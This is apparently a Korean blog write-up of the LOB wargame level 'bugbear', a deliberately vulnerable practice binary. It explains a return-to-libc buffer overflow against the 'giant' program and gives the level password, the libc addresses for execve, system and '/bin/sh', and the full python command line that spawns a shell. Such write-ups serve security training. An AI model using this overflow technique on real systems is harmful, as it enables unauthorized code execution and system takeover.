cgy12306
[LOB] bugbear 본문
ID : bugbear
PW : new divide
execve 오프셋과 libc base값을 더해서 execve_addr을 만들고, 입력한 두번째 인자에서 4byte를 긁어와서 같지 않으면 종료를 하고 같으면 strcpy 함수를 실행한다.
execve의 주소를 알아보자.
print execve를 입력하면 주소를 알 수 있다.
시나리오를 구상해 보자.
우선 A를 44개 넣고, execve 주소로 ret을 덮어준 후 execve가 실행이 되고나서 다시 system 함수를 호출하게 할 것이다.
페이로드를 구상해보면 "A"*44 + "execve 주소" + "system 주소" + "dummy" + "/bin/sh이 있는 주소"가 될 것이다.
dummy를 넣어주는 이유는 system이 호출되고 나서 리턴할 주소를 넣어야 하지만 우리는 그럴 필요가 없어서 dummy를 넣어줄 것이다.
이제 system 함수의 주소를 알아보자.
/bin/sh이 있는 주소도 알아내자.
다시 정리 해보자
execve 주소 : 400a9d48
system 주소 : 40058ae0
/bin/sh 주소 : 400fbff9
./giant `python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
이렇게 입력하게 되면 아래와 같은 화면이 뜬다.
이걸로 삽질을 오래 했는데 "(큰 따옴표)로 전체를 묶어주면 쉘을 획득하게 된다.
아마도 sscanf에서 값을 받아 올 때 스트링으로 표현해줘야 하지 않을까 싶다....
./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
'Wargame > LOB' 카테고리의 다른 글
[LOB] assassin (0) | 2019.09.30 |
---|---|
[LOB] giant (0) | 2019.09.30 |
[LOB] darkknight (0) | 2019.09.30 |
[LOB] golem (0) | 2019.09.30 |
[LOB] skeleton (0) | 2019.09.30 |
Comments